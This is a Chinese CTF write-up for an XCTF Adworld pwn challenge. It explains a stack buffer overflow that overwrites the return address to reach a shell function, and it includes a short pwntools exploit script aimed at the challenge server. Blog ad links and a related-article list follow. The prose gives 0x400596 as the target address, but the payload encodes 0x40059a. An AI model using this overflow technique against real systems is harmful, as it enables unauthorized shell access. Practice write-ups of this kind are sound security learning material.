CTF:第三题
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5053&page=1
相比前两题,略有难度,费了点点劲,但是还好,没费太大劲
程序代码非常短,简单地说,就是缓冲区溢出拿shell
然后前面有个函数叫做
这里其实就有点坑了,因为这里已经涉及到偏移了,比较麻烦。。。
先说这个缓冲区溢出吧,实际上它的目的是要让我输出一个足够长的字符串,这个字符串可以刚好覆盖函数的返回地址,之后直接跳到shell函数的位置,
即直接跳到 0x400596,目前有一个问题就是,这个程序是否有什么ASLR相关的功能,
查一下,
查了一下之后发现,其实这玩意只开了一个NX,Windows 下这个叫做DEP,是做数据保护的,
行了,那我就直接尝试改函数返回地址为 0x400596 尝试一下。
1 from pwn import * 2 3 #a = process("./291721f42a044f50a2aead748d539df0") 4 a = remote('124.126.19.106', 33948) 5 r = a.recvuntil('\n') 6 print(r) 7 8 str = "a" * 128 + "A" * 8 + '\x9a\x05\x40\x00\x00\x00\x00\x00' 9 print(str) 10 a.send(str); 11 12 a.interactive()
0x80个常规字符 a, 然后追加 8个 A 是为了覆盖栈里面的老rbp,因为要跳到的目标函数里面不用rbp,所以也不会出现问题,
最后一串就是目标函数地址了
经过这么一搞,发现竟然真的成了
输入一串字符,然后覆盖老rip返回地址之后,跳到了一个目标地址,可以拿到shell,flag 在目录中
这个题也没啥难点,就是需要判断和尝试,这题没开ASLR,如果开了ASLR的话,基址不固定,那就疯了。
我浪费了一些时间,主要也是在这个上面。
由浅入深吧,宗地来说,还是很容易的。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」